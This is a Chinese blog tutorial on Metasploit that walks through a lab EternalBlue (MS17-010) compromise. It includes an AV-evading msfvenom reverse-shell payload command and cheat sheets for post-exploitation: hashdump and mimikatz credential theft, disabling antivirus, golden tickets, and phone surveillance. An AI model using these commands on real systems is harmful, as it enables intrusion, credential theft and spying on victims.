msf渗透测试学习-与永恒之蓝漏洞案例

news2024/11/18 21:43:45

MSF是Metasploit Framework的缩写,是一款广泛使用的渗透测试工具,具有强大的攻击功能。它提供了一个模块化的平台,通过将各种攻击载荷、漏洞利用和辅助工具组装在一起,可用于模拟各种攻击,测试系统安全性,也可以用于执行红队实战训练、漏洞挖掘等工作。

(一)msf的七个模块

msf有七个核心模块,各自的作用:

  1. Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。

  2. Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。

  3. Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。

  4. Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。

  5. Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。

  6. Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。

  7. Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。

可以在kali的/usr/share/metasploit-framework/modules目录中看到

 想要查看模块里面具体信息,可以通过search +模块名命令进行查看。

例如查看利用漏洞模块Exploits的具体模块:search exploits

可以看到,exploits漏洞利用模块中含有一千九百多个漏洞利用模块。这是非常多的。可以根据里面的不同的模块对对于的漏洞进行操作。

(二)常用命令与参数:

MSF 是一款安全渗透测试框架,其功能包括漏洞扫描、漏洞利用、反向连接和负载生成等。它是一个功能强大的平台,包含数百个模块和载荷,可用于各种不同类型的安全渗透测试任务。在msf下又有许多的工具,常用到的工具如下:

  1. msfconsole:MSF 的命令行控制台,用于启动和控制整个框架。
  2. msfvenom:用于生成和编码各种类型的负载,包括反向连接、Meterpreter 等。
  3. msfdb:MSF 的数据库管理工具,用于存储和管理各种模块、主机、服务和漏洞等信息。
  4. msfcli:一个简单的命令行客户端,用于执行指定的模块和命令。
  5. Armitage:MSF 的图形用户界面 (GUI),通过可视化界面提供了更方便的渗透测试操作和数据分析功能,包括任务追踪、漏洞管理、报告生成等。

1、msfconsole(MSF 的命令行控制台)

  • -h:显示所有可用的参数和选项;

  • -p:指定要使用的端口;

  • -r:指定要执行的脚本文件;

  • -q:启动静默模式,不输出任何提示或信息;

  • -n:禁用颜色和ASCII图形输出;

  • -x:执行指定的命令或脚本,并退出控制台;

  • -L:列出所有可用的模块和插件;

  • -f:指定输出格式,可以是console、json、raw等。

2、msfvenom:(生成和编码各种类型的负载)

  • -p:指定生成负载的类型或程序,如Windows恶意软件、Linux恶意软件、Mac恶意软件等;
  • -f指定输出格式,类型是exe、dll、apk、python、ruby等;
  • -e:指定负载编码,例如Base64、URL、Shikata-ga-nai等;
  • -o:指定输出文件的路径和名称
  • -i:设置生成缓慢速度(产生更好的结果);
  • -b:指定要忽略的字符集,以“/”分隔多个字符集;
  • -a:指定架构(处理器架构)类型,例如x86、x64、arm等;
  • -t:指定存活时间单位为秒;
  • –platform:指定目标操作系统类型,如Windows、Linux、Android、iOS等。

3、Meterpreter:用来实现控制已被攻破目标主机并执行各种操作的功能

Meterpreter可以实现的功能有:

  1. 提供一个交互式Shell:Meterpreter可以通过Metasploit框架的控制台提供一个交互式Shell,使攻击者可以通过命令行与被攻破主机进行交互。

  2. 文件上传与下载:Meterpreter可以直接在受害主机与攻击者之间传递文件,并且可以控制文件的读写和执行权限。

  3. 信息收集与漏洞扫描:Meterpreter可以通过Shell脚本对目标主机进行信息收集和漏洞扫描,包括获取系统信息、端口扫描、Web应用程序扫描等。

  4. 端口转发和代理:Meterpreter可以通过建立端口转发和代理服务,使攻击者可以继续深入到网络内部进行渗透测试。

  5. 应用程序执行和控制:Meterpreter可以通过应用程序加载插件,从而控制应用程序的执行。

基础命令:

  1. help:查看可用的命令列表。

  2. sysinfo:显示目标系统的基本信息。

  3. shell:进入交互式Shell。

  4. cd:改变目录。

  5. pwd:显示当前所在目录。

  6. ls:显示目录内容。

  7. upload:上传文件。

  8. download:下载文件。

  9. portfwd:建立端口转发。

  10. screenshot:获取远程主机的屏幕截图。

  11. getpid:获取当前进程ID。

  12. ps:显示当前运行的进程列表。

  13. migrate:转移当前Meterpreter进程到指定的进程ID中,让攻击者控制器进程更隐蔽。

  14. execute:在目标主机中执行指定的命令和程序。

  15. search:在目标主机上进行文件搜索。

  16. getuid:显示当前用户的权限信息。

(三)、msfconsole漏洞利用

利用之前,需要先确定好目标主机

1、情报收集:发现存活主机

可用于发现主机的模块:

auxiliary/scanner/discovery/arp_sweep         # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep         # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version         # 发现FTP服务

auxiliary/scanner/http/http_version         # 发现HTTP服务

auxiliary/scanner/smb/smb_version         # 基于smb发现内网存活主机


此外可以利用search scanner type:auxiliary 查看所有扫描模块

利用 UDP发现内网存活主机:

msf6 > use auxiliary/scanner/discovery/udp_sweep        #使用udp扫描模块
msf6 auxiliary(scanner/discovery/udp_sweep) > options      #查看所有配置

可以看到利用 udp扫描模块扫描存活主机时候,有三个参数需要配置,其中有两个参数已经有默认值了,还有一个参数rhosts还没有值,rhosts参数,就是我们本次要扫描的对象ip,


msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.0/24 
rhosts => 192.168.23.0/24
msf6 auxiliary(scanner/discovery/udp_sweep) > run 

 当设置rhosts 为整个网段的ip时候,发现我们的目标主机,发现是存在的

2 、威胁建模

威胁建模是,扫描通过扫描的信息,发现目标主机开启的服务,根据不同的服务,存在的漏洞大小对比,比较哪一服务的漏洞,比较容易能够较为容易的被我们所利用

利用udp扫描模块:

msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.14
rhosts => 192.168.23.14
msf6 auxiliary(scanner/discovery/udp_sweep) > run
 

通过扫描发现,目标主机开启netbios服务

 利用smb模块扫描,也发现目标主机也开启smb服务,可以看到

3 、漏洞分析

漏洞分析,根据已经确定的服务,对该服务进行漏洞扫描,本次确定是smb服务,所以,我们接下来要对smb服务进行漏洞扫描

通过查询smb,找到的漏洞有:

  1. MS17-010漏洞:该漏洞存在于微软SMBv1协议的实现中,攻击者可以无需身份验证直接发送恶意数据包导致远程代码执行,影响版本包括Windows Vista到Windows Server 2016等所有的Windows版本。

  2. CVE-2018-0802漏洞:该漏洞存在于微软Office中的公式编辑器中,攻击者可以构造恶意Office文档,通过SMB协议传播该文档,从而利用该漏洞进行远程代码执行。

  3. CVE-2020-0796漏洞:该漏洞存在于Windows 10和Windows Server 2016/2019的SMBv3协议中,攻击者可以利用该漏洞执行远程代码,通过运用SMBv3协议中的漏洞粘合攻击,可对整个网络造成威胁。

  4. CVE-2019-0708漏洞:该漏洞存在于Windows Remote Desktop服务的RDP协议中,攻击者可以利用该漏洞进行远程执行代码,从而实现对远程服务器进行非法控制的攻击行为。

我们利用MS17-010漏洞(永恒之蓝),进行查看,查看是否可以利用这个漏洞

1、查询msf与永恒之蓝相关的模块:search ms17_010

 我们查询到有四个模块可以利用,前面两个是exploit(漏洞利用模块),后两个是auxiliary(辅助模块)
2、利用辅助模块进行扫描

 

 扫描之后,发现目标主机可能是存在永恒之蓝的漏洞

4、 漏洞利用

前面,我们通过分析和扫描,发现目标主机是可能存在永恒之蓝漏洞,接下来,我们尝试对该漏洞进行利用,而且我们在前面的时候,漏洞永恒之蓝MS17-010搜索的时候,发现,有永恒之蓝的漏洞利用模块

方式一:利用漏洞利用模块进行漏洞利用

 

 漏洞利用成功

方式二:利用注入木马进行漏洞利用

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

-a:指定payload的目标架构

-p:指定需要使用的payload(攻击荷载),LHOST是攻击机ip,LPORT是攻击端口

-e:指定需要使用的encoder(编码器)编码免杀

-b:设定规避字符集,比如: '\x00\xff'避免使用的字符

-i:指定payload的编码次数

-f:指定输出格式

5 、后渗透利用

到了这一步,就是干我们要干的事情了(违法的事,不能做,做个好白帽)

下面是一些命令演示

 

针对安卓手机的一些命令:

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t "hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM

lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

文件系统的命令

cat c:\boot.ini        #查看文件内容,文件必须存在

del c:\boot.ini         #删除指定的文件

upload /root/Desktop/netcat.exe c:\         # 上传文件到目标机主上,如upload setup.exe

C:\windows\system32 download nimeia.txt /root/Desktop/         # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/

edit c:\boot.ini         # 编辑文件

getlwd        #打印本地目录

getwd        #打印工作目录

lcd        #更改本地目录

ls        #列出在当前目录中的文件列表

lpwd        #打印本地目录

pwd        #输出工作目录

cd c:\         #进入目录文件下

rm file         #删除文件

mkdir dier         #在受害者系统上的创建目录

rmdir        #受害者系统上删除目录

dir        #列出目标主机的文件和文件夹信息

mv        #修改目标主机上的文件名 search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea.bat c:\xamp\

enumdesktops         #用户登录数

6 、报告阶段

这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/633847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Task Add-in Sample (C#)

下例显示了用 C# 编写Task Add-in 的完整源代码。 使用 C# 类库 (.NET Framework) 创建 Visual Studio 中的项目。实现 IEdmAddIn5。在“任务属性”对话框中创建自定义页。自定义任务详细信息页面。 注意: 若要填充下面的 GUID 属性&#x…

【linux】登录root账户时报错Sorry, that didn‘t work. Please try again.抱歉,这不管用,请再试一次

一、问题背景 登录其他普通账户的GUI桌面,发现都很正常,但是登录管理员账户root的桌面,重启之后一段时间正常,过一段时间就会出现登录报错Sorry, that didn’t work. Please try again. 二、解决办法——配置文件的解析 下面给出…

由于找不到msvcp120.dll丢失的解决方法,计算机丢失msvcp120.dll修复教程

在打开游戏或者软件的时候,计算机提示由于找不到msvcp120.dll,无法继续执行此代码怎么办呢?msvcp120.dll是一个动态链接库(DLL)文件,其作用是提供一些常用的C函数和类库,以便在Windows操作系统上…

高手都是如何做 Mysql 慢 SQL 优化

tip:作为程序员一定学习编程之道,一定要对代码的编写有追求,不能实现就完事了。我们应该让自己写的代码更加优雅,即使这会费时费力。 💕💕 推荐:体系化学习Java(Java面试专题&#…

2017~2018学年《信息安全》考试试题(A2卷)

北京信息科技大学,2017~2018 学年第二学期《信息安全》考试试题(A 卷) 适用专业班级:计科15级 重修课程所在学院:计算机学院 考试形式:闭卷 一、单选题(本题满分20分,共含10 道小题…

《Java从入门到精通》学习笔记

Java从入门到精通学习笔记 第一章 初识java a) Java是一种通过解释方式来执行的语言。 b) Java语言编写的程序既是编译型,又是解释型的。编译只进行一次,而解释在每次运行程序时都会进行。 c) JDK下载安装 i. path:jdk/bin ii. calsspath:jdk/jre/lib ii…

融合动态反向学习的阿奎拉鹰与哈里斯鹰混合优化算法(DAHHO)-附代码

融合动态反向学习的阿奎拉鹰与哈里斯鹰混合优化算法(DAHHO) 文章目录 融合动态反向学习的阿奎拉鹰与哈里斯鹰混合优化算法(DAHHO)1.哈里斯鹰优化算法2.改进哈里斯鹰优化算法2.1 动态反向学习策略2.2 改进混合算法理论分析 3.实验结果4.参考文献5.Matlab代码6.python代码 摘要&a…

融合黄金正弦和随机游走的哈里斯鹰优化算法(GSHHO)-附代码

融合黄金正弦和随机游走的哈里斯鹰优化算法(GSHHO) 文章目录 融合黄金正弦和随机游走的哈里斯鹰优化算法(GSHHO)1.哈里斯鹰优化算法2.改进哈里斯鹰优化算法2.1 黄金正弦算法2.2 非线性能量指数递减策略2.3 高斯随机游走策略 3.实验结果4.参考文献5.Matlab代码6.python代码 摘要…

【软件环境安装部署】华为云服务器下 Docker 安装 MongoDB 以及 SpringBoot 整合 MongoDB 开发使用

文章目录 安装测试 MongoDB拉取镜像创建和启动容器登录mongo容器,并进入到【admin】数据库创建一个用户,mongo 默认没有用户连接mongo数据库测试数据库,插入一条语句测试数据库,查询刚才插入的语句查看所有数据库开放指定端口开放…

(八)CSharp-泛型中的方法结构委托接口(2)

一、泛型方法 泛型方法可以在泛型和非泛型类以及结构和接口中声明。 1、声明泛型方法 泛型方法具有类型参数列表和可选的约束。 泛型方法有两个参数列表。 封闭在圆括号内的方法参数列表。封闭在尖括号内的类型参数列表。 要声明泛型方法,需要: 在方法…

Java程序猿搬砖笔记(十四)

文章目录 MySQL自定义排序用locate本质是数字排序case when then...语法排序field()函数排序 阿里云Maven镜像仓库无法下载spring-cloud-dependencies依赖问题MySQL更新同一个表的同个字段解决方法一(推荐)解决方法二 SpringBoot返回的JSON中的null转换为空字符串Spring的相关注…

OpenGL光照之光照贴图

文章目录 漫反射贴图镜面光贴图放射光贴图代码 每个物体都拥有自己独特的材质从而对光照做出不同的反应的方法。这样子能够很容易在一个光照的场景中给每个物体一个独特的外观,但是这仍不能对一个物体的视觉输出提供足够多的灵活性。 我们将整个物体的材质定义为一个…

Linux命令:lsof

目录 一、理论 1.lsof 二、实验 1.无参数 2.-p 参数 3.-l 参数 4. -u 参数 5.-c 参数 6.-d 参数 7.fileName 8. -i 参数 一、理论 1.lsof (1)概念 命令 lsof ( list opened files )负责列出系统中已经打开的文件,包括普通文件&a…

【uni-app】使用uni-app实现简单的登录注册功能

文章目录 前言一、页面布局二、注册页面1.注册接口使用2.注册成功提示3.注册成功页面跳转4.完整代码 三、登录页面1.登录接口使用2.本地存储使用3.完整代码 总结 前言 大家好,今天和大家分享一下如何在uni-app中实现简单的登录注册功能。 首先你需要掌握一下知识点…

【SQL Server】数据库开发指南(九)详细讲解 MS-SQL 触发器的的创建、修改、应用与适用场景

本系列博文还在更新中,收录在专栏:#MS-SQL Server 专栏中。 本系列文章列表如下: 【SQL Server】 Linux 运维下对 SQL Server 进行安装、升级、回滚、卸载操作 【SQL Server】数据库开发指南(一)数据库设计的核心概念…

UE特效案例 —— 火堆

一,环境配置 创建默认地形Landscape,如给地形上材质需确定比例;添加环境主光源DirectionalLight,设置相应的强度和颜色;PostProcessVolume设置曝光,设置Min/Max Brightness为1; 与关闭Game Sett…

03并发进程

文章目录 哲学家进餐问题1.利用结构型信号量解决哲学家进餐问题解决方案1:每次最多允许四位哲学家就餐 2.利用AND型信号量解决哲学家进餐问题 生产者-消费者问题1.利用结构型信号量解决生产者-----消费者问题单缓冲区生产者-消费者问题多缓冲区 2.利用AND型信号量解…

高并发编程:并发容器

一、概述 常见的容器如下图,我们会挑选高并发中常用的容器进行介绍。 二、ConcurrentHashMap 个ConcurrentHashMap提高效率主要提高在读上面,由于它往里插的时候内部又做了各种各样的判断,本来是链表的,到8之后又变成了红黑树&a…

详细讲解!selenium:解决页面元素display:none的方法

目录 前言: 1、具体问题 2、解决方案 代码解析: 结尾: 前言: 在进行 Web 自动化测试时,页面元素的可见性对测试结果的准确性和稳定性至关重要。然而,有些时候页面元素会被设置为 display:none&#x…

亚马逊云科技出海日,助推出海业务全球拓展突飞猛进

出海路漫漫,企业开拓全球市场而孤军奋战,常常会感到力不从心。好的产品有了,渠道有了,供应链有了,还要自己从0-1搭建存储、网络和架构?营销季来了想趁机冲一波销量,还要自己运维本地IDC、大促来…